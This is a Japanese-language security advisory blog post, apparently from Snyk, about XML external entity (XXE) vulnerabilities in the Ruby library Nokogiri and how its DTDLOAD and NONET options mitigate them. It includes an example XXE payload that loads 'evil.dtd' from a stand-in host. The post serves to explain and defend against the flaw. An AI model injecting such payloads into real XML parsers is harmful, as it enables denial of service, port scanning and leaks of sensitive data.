Skip to main content

NokogiriのXXE脆弱性を修正する

著者
Headshot of Tim Kadlec

Tim Kadlec

2017年2月14日

0 分で読めます

Nokogiriライブラリで見つかった深刻度の高いXML外部実体(XXE)脆弱性2件を、最近Snykの脆弱性データベースに追加しました。この記事では、脆弱性の仕組みと、アプリケーションで悪用されないように修正する方法を解説します。

Nokogiriは、XML、SAX、Reader、HTMLドキュメントの解析やデータ抽出に広く使われているライブラリです。libxml2やlibxsltなどのライブラリを利用しており、XPathやCSS3セレクターでこれらのドキュメントを簡単に解析できます。

XML外部実体攻撃を理解する

文字列をXMLとして解析するには、まずXMLメソッドを使ってNokogiriに渡します。

    xml = <<-EOX 
    <?xml version="1.0" encoding="UTF-8"?> 
    <!DOCTYPE root> 
    EOX` 

    doc = Nokogiri::XML(xml) 
    puts doc.to_xml 

    #outputs # --- xml: --- 
    # --- xml: ---
    # <?xml version="1.0" encoding="UTF-8"?> 
    # <!DOCTYPE root>

XML標準では、リンクを使って定義できる外部実体がサポートされています。XMLドキュメントの解析時にパーサーがこれらのリンクにリクエストを送信し、指定されたURIのコンテンツをXMLドキュメント内に取り込むことがあります。たとえば、http://0.0.0.0:8000/evil.dtdにある外部実体を取り込むことができます。

xml = <<-EOX 
<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://0.0.0.0:8080/evil.dtd"> %remote;]> 
EOX

XMLパーサーが外部実体を取り込む設定になっていると、攻撃者が悪意ある実体を挿入してXML外部実体(XXE)攻撃を実行できる状態になります。その影響は深刻です。XXE攻撃によって、サービス拒否、ポートスキャン、機密情報の漏えいが引き起こされる可能性があります。

XXE攻撃を防ぐ最も安全な方法は、外部DTDを一切読み込まないようにXMLパーサーを設定することです。しかし残念ながら、NokogiriがXML解析に使用する基盤ライブラリのlibxml2には、アプリケーションがこの攻撃にさらされる可能性があります。

脆弱性の詳細

Nokogiriのバージョン1.5.4より前では、XXEが定義された文字列を解析しようとすると、Nokogiriはデフォルトで定義されたXXEすべてにリクエストを送信します。そのため、先ほどの文字列を解析しようとすると、evil.dtdを取得するためにhttp://0.0.0.0:8080へリクエストが送信されます。

Nokogiriのバージョン1.5.4より後では、脆弱性の影響を抑えるための保護機能が導入されています。この攻撃に関連するオプションは2つあります。1つ目はDTDLOADオプションで、XMLの解析中に見つかったDTDをNokogiriが読み込むかどうかを指定します。

もう1つはNONETオプションです。NONETオプションを設定すると、ネットワーク経由で不明なドキュメントが読み込まれなくなります。

Nokogiriのバージョン1.5.4より後では、デフォルト設定でDTDLOADオプションがfalse、NONETオプションがtrueになっています。つまり、デフォルトでは定義されたDTDの読み込みも、ネットワーク経由でのドキュメントの読み込みも試みないため、この脆弱性は悪用できません。

ただし、DTDLOADオプションをtrueにし、さらにNONETオプションをfalseに設定すると、悪意ある攻撃者に脆弱性を悪用される可能性があります。

脆弱性への対処方法

この問題はSnykのセキュリティリサーチチームが発見し、1月11日にNokogiriへ報告しました。Nokogiriチームは迅速に問題をトリアージしましたが、残念ながらNokogiriだけではすぐに解決できない状況です。問題はNokogiri自体ではなく、基盤となるlibxml2ライブラリにあります。Nokogiriはlibxml2側で修正されるのを待っており、その後、修正版を取り込む予定です。

それまでの間に、プロジェクトにこの脆弱性が含まれていることが判明した場合は、影響を軽減するためにいくつかの対策を実施できます。

まず、Nokogiriのバージョンが1.5.4以降であることを確認してください。説明したとおり、1.5.4より前のバージョンはデフォルトで脆弱です。

Nokogiriを更新したら、設定を再確認し、DTDLOADがtrue、NONETがfalse.に設定されていないことを確認してください。デフォルトの設定であれば問題ありませんが、変更している場合は現在も脆弱な状態です。なお、どちらか一方だけを設定することは可能で、両方が設定されている場合にのみ脆弱性が露呈します。

今すぐこれらの対策を講じれば、この脆弱性から保護できます。プロジェクトを監視している場合は、修正が利用可能になった時点でお知らせします。

Capture the Flagを始めよう

オンデマンドのバーチャル入門ワークショップを見て、Capture the Flagの課題の解き方を学びましょう。

カテゴリー: